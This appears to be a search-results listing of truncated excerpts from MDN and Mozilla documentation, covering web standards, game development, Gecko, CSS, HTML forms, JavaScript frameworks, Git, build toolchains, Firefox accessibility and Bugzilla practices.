...andards that accountants and project managers must follow, the above-mentioned standards organizations provide focus and direction for the development engineering community. by following the guidelines that have been put into place, organizations like aol can enhance user experience, interoperability, code reuse, shared resources, and goodwill while reducing costs. i will discuss each of these items in the following paragraphs. interoperability the key to interoperability is settling on a standard that has a potential for long-term use. an organization must have the assurance that the standard they choose to incorporate into their development process will be relevant in the future. in other words, there must be long-term potential. a fundamental mistake that many organizations make is to u...
...And 2 more matches
Index - Game development
actually developing it. remember that it's no use to have the best game in the world if no one knows it exists. 11 techniques for game development games, guide this page lists essential core techniques for anyone wanting to develop games using open web technologies. 12 2d collision detection 2d, games, javascript, collision detection one of the simpler forms of collision detection is between two rectangles that are axis aligned — meaning no rotation. the algorithm works by ensuring there is no gap between any of the 4 sides of the rectangles. any gap means a collision does not exist. 13 3d collision detection 3d, games, javascript, bounding boxes, collision detection this article provides an introduction to the different boundi...
...ere. web-based audio is maturing fast, but there are still many browser differences to navigate. we often need to decide which audio parts are essential to our games' experience and which are nice to have but not essential, and devise a strategy accordingly. this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible. 27 crisp pixel art look with image-rendering 2d, 3d, css, canvas, games, javascript, webgl, image-rendering, pixel this article discusses a useful technique for giving your canvas/webgl games a crisp pixel art look, even on high definition monitors. 28 efficient animation for web games animation, games, javascript this article covers techniqu...
...develop with. now it's easier than ever to deliver a console-like experience to the browser without the need for any plugins. you can play the full version of the hungry fridge game directly in your browser, install it from the firefox marketplace or check the source code of the demo along with all the other resources on the gamepad api content kit. 30 implementing game control mechanisms controls, desktop, gamepad, games, javascript, laptop, mobile, keyboard, mouse, touch one of html5's main advantages as a game development platform is the ability to run on various platforms and devices. streamlining cross device differences creates multiple challenges, not least when providing appropriate controls for different contexts. in this series of articles we will show you how ...
...And 2 more matches
Gecko FAQ - Gecko Redirect 1
development projects and products based upon them as well.) known bugs in the open-source gecko codebase are documented in bugzilla. here are some links to lists of reported bugs related to the standards mentioned above; be aware that these raw lists of open in-process bugs will inevitably include some duplicate, out of date, unreproducible, invalid, and incorrectly tagged reports: the links themselves are probably outdated too. layout component tracks content layout bugs that may be related to a variety of specifications html 4.0 elements, form controls, frames, tables, and form submission bug reports marked with the html4 keyword "meta bug" for tracking outstanding issues with html 4.01 compliance css: style system component (see also bug reports marked with the css...
...rmat xml documents? gecko supports the use of css and xslt to format xml documents. for xml documents without associated css or xslt, gecko displays the pretty-printed source of the document. how does gecko help content developers? content developers are sick and tired of developing and testing every single web page multiple times in order to support the different, incompatible, proprietary doms of browsers from different vendors. they have been demanding that all vendors fully support the open standards listed above so that they can have a rich, powerful formatting system and object model at their disposal, and "write once, view anywhere." gecko's robust support for these standards makes gecko the platform of choice for web content and web application developers worldwide. are ge...
... fully support the open standards listed above so that they can have a rich, powerful formatting system and object model at their disposal, and "write once, view anywhere." gecko's robust support for these standards makes gecko the platform of choice for web content and web application developers worldwide. ...
...And 2 more matches
Plug-in Development Overview - Gecko Plugin API Reference
mage/x-nwim. for more information about mime types, see these mime rfcs: rfc-2045: "multipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "multipurpose internet mail extensions (mime) part two: media types" rfc-4288: "media type specifications and registration procedures" there are some variations to how plug-ins are handled on different platforms. the following sections describe platform-specific discovery and registration: ms windows unix mac os x ms windows on windows, plug-ins are found according to the section how gecko finds plug-ins. to determine the mime types and file extensions that the plug-in handles, the browser normally uses the content of the registry entries for the plug-in described below in installation using the...
...ry plug-in developers can take advantage of the memory features provided in the plug-in api to allocate and free memory. use the npn_memalloc method to allocate memory from the browser. use the npn_memfree method to free memory allocated with npn_memalloc. use the npn_memflush method to free memory (mac os only) before calling memory-intensive mac toolbox calls. sending and receiving streams streams are objects that represent urls and the data they contain. a stream is associated with a specific instance of a plug-in, but a plug-in can have more than one stream per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in th...
...jects that represent urls and the data they contain. a stream is associated with a specific instance of a plug-in, but a plug-in can have more than one stream per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to the plug-in instance or requested by the plug-in. the plug-in can select one of these transmission modes: normal mode: the browser sends the stream data sequentially to the plug-in as the data becomes available. random-access mode: the browser allows the plug-in to request specific ranges of bytes from anywhere in the stream. this mode requ...
...And 2 more matches
Accessible multimedia - Learn web development
this article shows how. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of what accessibility is. objective: to understand the accessibility issues behind multimedia, and how to overcome them. ...
...es in our html: a good basis for accessibility article — you can refer back to there for the full details. in short, you should ensure that where possible visual content has an alternative text available for screenreaders to pick up and read to their users. for example: <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> accessible audio and video controls implementing controls for web-based audio/video shouldn't be a problem, right? let's investigate. the problem with native html5 controls html5 video and audio instances even come with a set of inbuilt controls that allow you to control the media straight out of the box. for example (see native-controls.html sou...
...bit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> the controls attribute provides play/pause buttons, seek bar, etc. — the basic controls you'd expect from a media player. it looks like so in firefox and chrome: however, there are problems with these controls: they are not keyboard accessible in most browsers, i.e. you can't tab between the controls inside the native player. opera and chrome provide this to some degree, but it still isn't ideal. different browsers give the native controls differing styling and functionality, and they aren't stylable, meaning that they can't be easily made to follow a site style guide. to reme...
...And 2 more matches
Styling tables - Learn web development
ypical — most html table examples are about shoes, or the weather, or employees; we decided to make things more interesting by making it about famous punk bands from the uk. the markup looks like so: <table> <caption>a summary of the uk's most famous punk bands</caption> <thead> <tr> <th scope="col">band</th> <th scope="col">year formed</th> <th scope="col">no. of albums</th> <th scope="col">most famous song</th> </tr> </thead> <tbody> <tr> <th scope="row">buzzcocks</th> <td>1976</td> <td>9</td> <td>ever fallen in love (with someone you shouldn't've)</td> </tr> <tr> <th scope="row">the clash</th> <td>1976</td> <td>6</td> <td>london calling</td> </tr> ... some rows removed for bre...
...ou shouldn't've)</td> </tr> <tr> <th scope="row">the clash</th> <td>1976</td> <td>6</td> <td>london calling</td> </tr> ... some rows removed for brevity <tr> <th scope="row">the stranglers</th> <td>1974</td> <td>17</td> <td>no more heroes</td> </tr> </tbody> <tfoot> <tr> <th scope="row" colspan="2">total albums</th> <td colspan="2">77</td> </tr> </tfoot> </table> the table is nicely marked up, easily styleable, and accessible, thanks to features such as scope, <caption>, <thead>, <tbody>, etc. unfortunately, it doesn't look good when rendered on the screen (see it live at punk-bands-unstyled.html): with only the default browser styling it looks cramped, hard to read, and boring. we need ...
... collapse down into one, which looks much better: we've put a border around the whole table, which is needed because we'll be putting some borders round the table header and footer later on — it looks really odd and disjointed when you don't have a border round the whole outside of the table and end up with gaps. we've set some padding on the <th> and <td> elements — this gives the data items some space to breathe, making the table look a lot more legible. at this point, our table already looks a lot better: some simple typography now we'll get our text sorted out a bit. first of all, we've found a font on google fonts that is suitable for a table about punk bands. you can go there and find a different one if you like; you'll just have to replace our provided <link> element and...
...And 2 more matches
Test your skills: Flexbox - Learn web development
they should be laid out as a row, with an equal amount of space between each item. ...
...t use flexbox to create, your task is to build them. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. flex layout one these list items are the navigation for a site. they should be laid out as a row, with an equal amount of space between each item. the finished example should look like the image below. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. flex layout two the...
...vigation for a site. they should be laid out as a row, with an equal amount of space between each item. the finished example should look like the image below. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. ...
...And 2 more matches
What is CSS? - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, and html basics (study introduction to html.) objective: to learn what css is. ...
...implementation status is useful. on each property page on mdn you can see the status of the property you are interested in, so you can tell if you will be able to use it on a website. what follows is the compat data chart for the css font-family property. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-familychrome full support 1edge full support 12firefox full support 1notes full support 1notes notes not supported on option elements. see bug 1536148.ie full support ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0system-uichrome full support 56edge full support 79firefox no support no no support no full support ...
...And 2 more matches
CSS FAQ - Learn web development
Learn › CSS › Howto › CSS FAQ
: red; } h1 { color: black; } this has changed with css 2; the keyword initial is now a valid value for a css property. it resets it to its default value, which is defined in the css specification of the given property. /* heading default color is black */ h1 { color: red; } h1 { color: initial; } how do i derive one style from another? css does not exactly allow one style to be defined in terms of another. (see eric meyer's note about the working group's stance). however, assigning multiple classes to a single element can provide the same effect, and css variables now provide a way to define style information in one place that can be reused in multiple places. how do i assign multiple classes to an element? html elements can be assigned multiple classes by listing the classes in the c...
...if the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the css declarations. the order of classes in the class attribute is not relevant. why don't my style rules work properly? style rules that are syntactically correct may not apply in certain situations. you can use dom inspector's css style rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below. html elements hierarchy the way css styles are applied to html elements depends also on the elements hierarchy. it is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of css rules. .news { color: black; } .corpname { font-wei...
...rides the style of the parent, in spite of any specificity or priority of css rules. .news { color: black; } .corpname { font-weight: bold; color: red; } <!-- news item text is black, but corporate name is red and in bold --> <div class="news"> (reuters) <span class="corpname">general electric</span> (ge.nys) announced on thursday... </div> in case of complex html hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style. explicitly re-defined style rule in css stylesheets, order is important. if you define a rule and then you re-define the same rule, the last definition is used. #stockticker { font-weight: bold; } .stocksymbol { color: red; } /* other rules */ /* other rules */ /* other rules ...
...And 2 more matches
What software do I need to build a website? - Learn web development
article we lay out which software components you need when you're editing, uploading, or viewing a website. prerequisites: you should already know the difference between webpages, websites, web servers, and search engines. objective: learn which software components you need if you want to edit, upload, or view a website. summary you can download most of the programs you need for web development for free. we'll provide a few links in this article. you'll need tools to: create and edit webpages upload files to your web server view your website nearly all operating systems by default include a text editor and a browser, which you can use to view websites. as a result, you usually only need to acquire software for transferring files to your web server. ...
...e and edit a website, you need a text editor. text editors create and modify unformatted text files. other formats, like rtf, let you to add formatting, like bold or underline. those formats are not suitable for writing web pages. you should put some thought into which text editor you use, since you'll be working with it extensively while you're building the website. all desktop operating systems come with a basic text editor. these editors are all straightforward, but lack special features for webpage coding. if you want something a bit fancier, there are plenty of third-party tools available. third-party editors often come with extra features, including syntax coloring, auto-completion, collapsible sections, and code search. here is a short list of editors: operating system ...
.... you can buy space on a server from various providers (see how much does it cost to do something on the web?). once you settle on which provider to use, the provider will email you the access information, usually in the form of an sftp url, username, password, and other information needed to connect to their server. bear in mind that (s)ftp is now somewhat old-fashioned, and other uploading systems are starting to become popular, such as rsync and git/github. note: ftp is inherently insecure. you should make sure your hosting provider allows use of a secure connection, e.g. sftp or rsync over ssh. uploading files to a web server is a very important step while creating a website, so we cover it in detail in a separate article. for now, here's a short list of free basic (s)ftp clients: ...
...And 2 more matches
Common questions - Learn web development
s this section covers web mechanics —questions relating to general knowledge of the web ecosystem and how it works. how does the internet work? the internet is the backbone of the web, the technical infrastructure that makes the web possible. at its most basic, the internet is a massive network of computers communicating with each other. this article discusses how it works, in broad terms. what is the difference between webpage, website, web server, and search engine? in this article we describe various web-related concepts: webpages, websites, web servers, and search engines. these terms are often a source of confusion for newcomers to the web, or are used incorrectly. let's discover what they actually mean! what are hyperlinks? in this article, we'll go over what hyp...
...vides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things. ...
... user — quick accessibility wins, and other such things. ...
...And 2 more matches
The HTML5 input types - Learn web development
previous overview: forms next in the previous article we looked at the <input> element, covering the original values of the type attribute available since the early days of html. now we'll look at the functionality of newer form controls in detail, including some new input types, which were added in html5 to allow collection of specific types of data. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand the newer input type values available to create native form controls, and how to implement them using html. note: most of the features discussed in this article have wide support across browsers. we'll note any exceptions. ...
...ic computer literacy, and a basic understanding of html. objective: to understand the newer input type values available to create native form controls, and how to implement them using html. note: most of the features discussed in this article have wide support across browsers. we'll note any exceptions. if you want more detail on browser support, you should consult our html forms element reference, and in particular our extensive <input> types reference. because html form control appearance may be quite different from a designer's specifications, web developers sometimes build their own custom form controls. we cover this in an advanced tutorial: how to build custom form widgets. e-mail address field this type of field is set using the value email for the type attribu...
...that you've retained this information before you move on — see test your skills: html5 controls. summary that brings us to the end of our tour of the html5 form input types. there are a few other control types that cannot be easily grouped together due to their very specific behaviors, but which are still essential to know about. we cover those in the next article. ...
...And 2 more matches
How to build custom form controls - Learn web development
ood to start with an existing control whose states and behavior are well known, so that you can simply mimic those as much as possible. in our example, we will rebuild the <select> element. here is the result we want to achieve: this screenshot shows the three main states of our control: the normal state (on the left); the active state (in the middle) and the open state (on the right). in terms of behavior, we are recreating a native html element. therefore it should have the same behaviors and semantics as the native html element. we require our control to be usable with a mouse as well as with a keyboard, and comprehensible to a screen reader, just like any native control. let's start by defining how the control reaches each state: the control is in its normal state when: the...
...he option is highlighted and the previously highlighted option is returned to its normal state for the purposes of our example, we'll stop with that; however, if you're a careful reader, you'll notice that some behaviors are missing. for example, what do you think will happen if the user hits the tab key while the control is in its open state? the answer is... nothing. ok, the right behavior seems obvious but the fact is, because it's not defined in our specs, it is very easy to overlook this behavior. this is especially true in a team environment when the people who design the control's behavior are different from the ones who implement it. another fun example: what will happen if the user hits the up or down arrow keys while the control is in the open state? this one is a little bit tri...
... once the users have gotten used to it. if you have doubts, ask for the opinions of others, and if you have the budget for it, do not hesitate to perform user tests. this process is called ux design. if you want to learn more about this topic, you should check out the following helpful resources: uxmatters.com uxdesign.com the ux design section of smashingmagazine note: also, in most systems there is a way to open the <select> element with the keyboard to look at all the available choices (this is the same as clicking the <select> element with a mouse). this is achieved with alt + down on windows. we didn't implement this in our example, but it would be easy to do so, as the mechanism has already been implemented for the click event. defining the html structure and (some) semantic...
...And 2 more matches
Other form controls - Learn web development
prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand the non-<input> form features, and how to implement them using html. multi-line text fields a multi-line text field is specified using a <textarea> element, rather than using the <input> element. ...
...ding on the directionality of your text; read handling different text directions if you want to find out more.) play with the interactive example at the top of the resize reference page for a demonstration of how these work. drop-down controls drop-down controls are a simple way to let users select from many different options without taking up much space in the user interface. html has two forms of drop down content: the select box, and the autocomplete box. in both cases the interaction is the same — once the control is activated, the browser displays a list of values the user can select between. note: you can find examples of all the drop-down box types on github at drop-down-content.html (see it live also). select box a simple select box is created with a <select> element with ...
...summary as you'll have seen in the last few articles, there are a lot of different types of available form element. you don't need to remember all of these details at once, and can return to these articles as often as you like to check up on details. now that you have a grasp of the html behind the different available form controls, we'll take a look at styling them. ...
...And 2 more matches
JavaScript basics - Learn web development
this article helps you get started with javascript and furthers your understanding of what is possible. what is javascript? javascript ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website. ...
...e html and javascript files are saved. then load index.html in your browser. you should see something like this: note: the reason the instructions (above) place the <script> element near the bottom of the html file is that the browser reads code in the order it appears in the file. if the javascript loads first and it is supposed to affect the html that hasn't loaded yet, there could be problems. placing javascript near the bottom of an html page is one way to accommodate this dependency. to learn more about alternative approaches, see script loading strategies. what happened? the heading text changed to hello world! using javascript. you did this by using a function called queryselector() to grab a reference to your heading, and then store it in a variable called myheading. this is s...
...d and shouldn't use semicolons. for more details, see your guide to semicolons in javascript. note: you can name a variable nearly anything, but there are some restrictions. (see this section about naming rules.) if you are unsure, you can check your variable name to see if it's valid. note: javascript is case sensitive. this means myvariable is not the same as myvariable. if you have problems in your code, check the case! note: for more details about the difference between var and let, see the difference between var and let. after declaring a variable, you can give it a value: myvariable = 'bob'; also, you can do both these operations on the same line: let myvariable = 'bob'; you retrieve the value by calling the variable name: myvariable; after assigning a value to a vari...
...And 2 more matches
Adding vector graphics to the Web - Learn web development
in this article we'll show you how to include one in your webpage. prerequisites: you should know the basics of html and how to insert an image into your document. objective: learn how to embed an svg (vector) image into a webpage. note: this article doesn't intend to teach you svg; just what it is, and how to add it to web pages. ...
... the web, you'll work with two types of image — raster images, and vector images: raster images are defined using a grid of pixels — a raster image file contains information showing exactly where each pixel is to be placed, and exactly what color it should be. popular web raster formats include bitmap (.bmp), png (.png), jpeg (.jpg), and gif (.gif.) vector images are defined using algorithms — a vector image file contains shape and path definitions that the computer can use to work out what the image should look like when rendered on the screen. the svg format allows us to create powerful vector graphics for use on the web. to give you an idea of the difference between the two, let's look at an example. you can find this example live on our github repo as vector-versus-raster.htm...
...parent when you zoom in the page — the png image becomes pixellated as you zoom in because it contains information on where each pixel should be (and what color). when it is zoomed, each pixel is simply increased in size to fill multiple pixels on screen, so the image starts to look blocky. the vector image however continues to look nice and crisp, because no matter what size it is, the algorithms are used to work out the shapes in the image, with the values simply being scaled as it gets bigger. note: the images above are actually all pngs — with the left-hand star in each case representing a raster image, and the right-hand star representing a vector image. again, go to the vector-versus-raster.html demo for a real example! moreover, vector image files are much lighter than the...
...And 2 more matches
Video and audio content - Learn web development
st enough to support any kind of video (video files are much larger than text or even images.) in the early days, native web technologies such as html didn't have the ability to embed video and audio on the web, so proprietary (or plugin-based) technologies like flash (and later, silverlight) became popular for handling such content. this kind of technology worked ok, but it had a number of problems, including not working well with html/css features, security issues, and accessibility issues. a native solution would solve much of this if implemented correctly. fortunately, a few years later the html5 specification had such features added, with the <video> and <audio> elements, and some shiny new javascript apis for controlling them. we'll not be looking at javascript here — just the basic...
...ed states, patents covered mp3 until 2017, and h.264 is encumbered by patents through at least 2027. because of those patents, browsers that wish to implement support for those codecs must pay typically enormous license fees. in addition, some people simply prefer to avoid restricted software and prefer to use only open formats. due to these legal and preferential reasons, web developers find themselves having to support multiple formats to capture their entire audience. the codecs described in the previous section exist to compress video and audio into manageable files, since raw audio and video are both exceedingly large. each web browser supports an assortment of codecs, like vorbis or h.264, which are used to convert the compressed audio and video into binary data and back. each codec...
...nt selection of codecs. in order to maximize the likelihood that your web site or app will work on a user's browser, you may need to provide each media file you use in multiple formats. if your site and the user's browser don't share a media format in common, your media simply won't play. due to the intricacies of ensuring your app's media is viewable across every combination of browsers, platforms, and devices you wish to reach, choosing the best combination of codecs and container can be a complicated task. see choosing the right container in media container formats (file types) for help selecting the container file format best suited for your needs; similarly, see choosing a video codec in web video codec guide and choosing an audio codec in web audio codec guide for help selecting the f...
...And 2 more matches
General asynchronous programming concepts - Learn web development
task a --> task b thread 2: task c --> task d javascript is single-threaded javascript is traditionally single-threaded. even with multiple cores, you could only get it to run tasks on a single thread, called the main thread. our example from above is run like this: main thread: render circles to canvas --> display alert() after some time, javascript gained some tools to help with such problems. web workers allow you to send some of the javascript processing off to a separate thread, called a worker so that you can run multiple javascript chunks simultaneously. you'd generally use a worker to run expensive processes off the main thread so that user interaction is not blocked. main thread: task a --> task c worker thread: expensive task b with this in mind, have a look at simple-sync...
...rectly do anything to update the ui. we couldn't render our 1 million blue circles inside our worker; it can basically just do the number crunching. the second problem is that although code run in a worker is not blocking, it is still basically synchronous. this becomes a problem when a function relies on the results of multiple previous processes to function. consider the following thread diagrams: main thread: task a --> task b in this case, let's say task a is doing something like fetching an image from the server and task b then does something to the image like applying a filter to it. if you start task a running and then immediately try to run task b, you'll get an error, because the image won't be available yet. main thread: task a --> task b --> |task d| worker thread: task c --...
...hread: task a --> task b --> |task d| worker thread: task c -----------> | | in this case, let's say task d makes use of the results of both task b and task c. if we can guarantee that these results will both be available at the same time, then we might be ok, but this is unlikely. if task d tries to run when one of its inputs is not yet available, it will throw an error. to fix such problems, browsers allow us to run certain operations asynchronously. features like promises allow you to set an operation running (e.g. the fetching of an image from the server), and then wait until the result has returned before running another operation: main thread: task a task b promise: |__async operation__| since the operation is happening somewhere else, the main threa...
...And 2 more matches
Getting started with Ember - Learn web development
the latest versions of ember and latest community-driven conventions. what does it mean to be a component-service framework? components are individual bundles of behavior, style, and markup — much like what other frontend frameworks provide, such as react, vue, and angular. the service side provides long-lived shared state, behavior, and an interface to integrating with other libraries or systems. for example, the router (which will be mentioned later in this tutorial) is a service. components and services make up the majority of any emberjs application. use cases generally, emberjs works well for building apps that desire either or both of the following traits: single page applications, including native-like web apps, and progressive web apps (pwas) ember works best when it...
...d here consists of a multi-part tutorial, in which we'll make a version of the classic todomvc sample app, teaching you how to use the essentials of the ember framework along the way. todomvc is a basic to-do tracking app implemented in many different technologies. here is the completed ember version, for reference. a note on todomvc and accessibility the todomvc project has a few issues in terms of adhering to accessible/default web practices. there are a couple of github issues open about this on the todomvc family of projects: add keyboard access to demos re-enable outline on focusable elements ember has a strong commitment to being accessible by default and there is an entire section of the ember guides on accessibility on what it means for website / app design. that said, beca...
...lowing keyboard focus to be visible. this goes some way towards fixing one of the major accessibility disadvantages of the default todomvc app. ...
...And 2 more matches
Componentizing our Svelte app - Learn web development
ces. it will help you understand how they relate to each other, it will promote reuse, and it will make your code easier to reason about, maintain, and extend. but how do you know what should be split into its own component? there are no hard rules for this. some people prefer an intuitive approach and start looking at the markup and drawing boxes around every component and subcomponent that seems to have its own logic. other people apply the same techniques used for deciding if you should create a new function or object. one such technique is the single responsibility principle — that is, a component should ideally only do one thing. if it ends up growing, it should be split into smaller subcomponents. both approaches should complement each other, and help you decide how to better org...
...ow to better organize your components. eventually, we will split up our app into the following components: alert.svelte: a general notification box for communicating actions that have occurred. newtodo.svelte: the text input and button that allow you to enter a new todo item. filterbutton.svelte: the all, active, and completed buttons that allow you to apply filters to the displayed todo items. todosstatus.svelte: the "x out of y items completed" heading. todo.svelte: an individual todo item. each visible todo item will be displayed in a separate copy of this component. moreactions.svelte: the check all and remove completed buttons at the bottom of the ui that allow you to perform mass actions on the todo items. in this article we will concentrate on creating the filterbutton an...
...that's because our todo component is receiving the todo via the prop, but it's not sending any information back to its parent. we'll fix this later on. sharing data between components: props-down, events-up pattern the bind directive is pretty straightforward and allows you to share data between a parent and child component with minim...
...And 2 more matches
Vue conditional rendering: editing existing todos - Learn web development
previous overview: client-side javascript frameworks next now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items. to do this, we will take advantage of vue's conditional rendering capabilities — namely v-if and v-else — to allow us to toggle between the existing todo item view, and an edit view where you can update todo item labels. we'll also look at adding functionality to delete todo items. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for ...
...or the events emitted by the todoitemeditform component, and attach the appropriate methods to each event. update your <to-do-item-edit-form></to-do-item-edit-form> call to look like so: <to-do-item-edit-form v-else :id="id" :label="label" @item-edited="itemedited" @edit-cancelled="editcancelled"> </to-do-item-edit-form> updating and deleting todo items now we can toggle between the edit form and the checkbox. however, we haven’t actually handled updating the todoitems array back in app.vue. to fix that, we need to listen for the item-edited event, and update the list accordingly. we'll also want to handle the delete event so that we can delete todo items. add the following new methods to your app.vue's component object, below the existing m...
... handled updating the todoitems array back in app.vue. to fix that, we need to listen for the item-edited event, and update the list accordingly. we'll also want to handle the delete event so that we can delete todo items. add the following new methods to your app.vue's component object, below the existing methods inside the methods property: deletetodo(todoid) { const itemindex = this.todoitems.findindex(item => item.id === todoid); this.todoitems.splice(itemindex, 1); }, edittodo(todoid, newlabel) { const todotoedit = this.todoitems.find(item => item.id === todoid); todotoedit.label = newlabel; } next, we'll add the event listeners for the item-deleted and item-edited events: for item-deleted, you'll need to pass the item.id to the method. for item-edited, you'll need to pas...
...And 2 more matches
Git and GitHub - Learn web development
a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll back to previous versions of the code base if a problem is discovered later on. the most popular vcs (at least among web developers) is git, along with github, a site that provides hosting for your repositories and several tools for working with them. this module aims to teach you what you need to know about both of them. overview vcses are essential for software development: it is rare that you will work on a project completely on your own, and as soon as you start working with other people you start to run the risk of conflicting with each other's work — this is when both of you try to update the same piece of code at the same time. you need to have s...
... a new feature in that version, and then get it merged in a controlled manner (in github we use pull requests) with the master version when they are done with it. vcses provide tools to meet the above needs. git is an example of a vcs, and github is a web site + infrastructure that provides a git server plus a number of really useful tools for working with git repositories individually or in teams, such as reporting issues with the code, reviewing tools, project management features such as assigning tasks and task statuses, and more. note: git is actually a distributed version control system, meaning that a complete copy of the repository containing the codebase is made on your computer (and everyone else's). you make changes to your own copy, and then push those changes back up to the s...
...git. depending on how you like to work, you could use a git gui client (we'd recommend github desktop, sourcetree or git kraken) or just stick to using a terminal window. in fact, it is probably useful for you to get to know at least the basics of git terminal commands, even if you intend to use a gui. a github account. if you haven't already got one, sign up now using the provided link. in terms of prerequisite knowledge, you don't need to know anything about web development, git/github or vcses to start this module. however, it is recommended that you know some coding so that you have reasonable computer literacy, and some code to store in your repositories! it is also preferrable that you have some basic terminal knowledge, so for example moving between directories, creating files, an...
...And 2 more matches
Introducing a complete toolchain - Learn web development
toolchain will be structured into the following phases: safety net: making the software development experience stable and more efficient. we might also refer to this as our development environment. transformation: tooling that allows us to use the latest features of a language (e.g. javascript) or another language entirely (e.g. jsx or typescript) in our development process, and then transforms our code so that the production version still runs on a wide variety of browsers, modern and older. post development: tooling that comes into play after you are done with the body of development to ensure that your software makes it to the web and continues to run. in this case study we'll look at adding tests to your code, and deploying your app using netlify so it is available for all the web ...
...s the case, install it using the following command: npm install prettier -g now that prettier is installed, running and tidying your code can be done on the command line on an individual file basis from anywhere on your computer, for example: prettier --write ./src/index.html note: in the command above, i use prettier with the --write flag. prettier understands this to mean "if there's problems in my code format, go ahead and fix them, then save my file". this is fine for our development process, but we can also use prettier without the flag and it will only check the file. checking the file (and not saving it) is useful for purposes like checks that run before a release - i.e. "don't release any code that's not been properly formatted." it can be arduous to run the initial command ag...
...er, we'll provide the eslint config. once a working configuration is in place, running the command can generate some useful information. here is an example eslint output: ./my-project/src/index.js 2:8 error 'react' is defined but never used no-unused-vars 22:20 error 'body' is defined but never used no-unused-vars 96:19 error 'b' is defined but never used no-unused-vars ✖ 3 problems (3 errors, 0 warnings) note: we'll install eslint in the next section; don't worry about this for now. as with other tools, code editor integration support is typically good for eslint, and potentially more useful as it can give us real-time feedback when issues crop up: configuring the initial project using these tools, a new project can be set up safe in the knowledge that many "basic" ...
...And 2 more matches
CSUN Firefox Materials
oyances that cause browsing to be difficult for ordinary people. firefox's "www for everyone" philosophy is also a great accessibility story. every user, regardless of what accomodations they need, can enjoy a less cluttered web, free of intrusions such as popup ads and spyware. the simple, uncluttered user interface is simply more pleasant. as a result, nearly everyone who tries firefox finds themselves hooked.. assistive technology support on windows "i am a full firefox convert with the release of 1.5. at my next opportunity, i intend to convert my family over to it too. " -- darren paskell, from window-eyes beta testing list firefox works with popular screen readers, with the best support currently coming from gw micro's window-eyes 5.5. jaws support is quickly catching up as well. i...
...he accessibility extension, from the university of illinois, provides new menus and keyboard shortcuts for accessing every feature of a web page community contributions the real reason behind firefox's success is the great community of volunteers and organizations that realize they have something to benefit from a browser open to utilizing their ideas and hard work. contributions come in many forms. the mozilla firefox community welcomes bug reports, ideas, documentation, answering questions in the support forums -- and nearly any kind of community involvement resulting in a browser built for a broader audience of users and developers. here are a couple of success stories from businesses who contributed accessibility code because they needed an accessible web browser which supported their s...
...ike a bunch of plain documents. firefox is currently the only browser to support the new evolving standards for making these web applications accessible. companies such as yahoo! have announced they are already working with the technology their new richer interfaces accessible with this new technology. sun contributes code to improve accessibility on unix a similar story occurred at sun microsystems. sun needed an accessible web browser for unix, specifically for solaris. again, rather than develop a brand new web browser, it made more sense to contribute fixes that make firefox accessible on unix. thanks to sun's efforts we already have excellent support for the gok onscreen keyboard. meanwhile, ibm has joined sun's effort to make firefox as screen reader accessible on unix as it is on wind...
...And 2 more matches
What to do and what not to do in Bugzilla
rue for editbugs: leave comments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly. canconfirm privilege the canconfirm privilege allows you to confirm bugs and also to start your bug reports in the confirmed state (new). it also governs which bug entry form you are presented with first (either the guided or advanced forms). confirming unconfirmed bugs a useful general guide for confirming unconfirmed bugs. a guide for confirming layout bugs (bugs in web page rendering) reporting new bugs you should report a bug in the new state after going through the triaging process as described in the two above-mentioned guides. you should look at all the open bugs you've reported (see the "my bugs" link at the bottom ...
...ug and no other people report that they are still seeing the bug. resolving bugs as incomplete the problem is vaguely described with no steps to reproduce, or is a support request. the reporter should be directed to the product's support page for help diagnosing the issue. if there are only a few comments in the bug, it may be reopened only if the original reporter provides more info, or confirms someone else's steps to reproduce. if the bug is long, when enough info is provided a new bug should be filed and the original bug marked as a duplicate of it. resolving bugs as invalid you should resolve a bug as invalid if the issue described in the bug is clearly not a mozilla bug or if the issue is intended behavior. the exceptions are bugs in other software which we have to work around and...
...e issue is intended behavior. the exceptions are bugs in other software which we have to work around and bugs that involve certain core gecko modules. bugs covered by this exception should not be invalidated by anyone other than the module owner or module peer; for bugs involving modules like layout or content, attach a test case to the bug and then cc one of the owners or peers. reports of problems with specific websites that result from bad coding practices already determined to be “tech evangelism” cases by the module owner or peer, or problems that result from the use of proprietary technology, should be be moved to the tech evangelism product rather than being resolved as invalid. resolving bugs as fixed resolve a bug as fixed if the bug has been fixed by a checkin into the mozill...
...And 2 more matches
How Mozilla's build system works
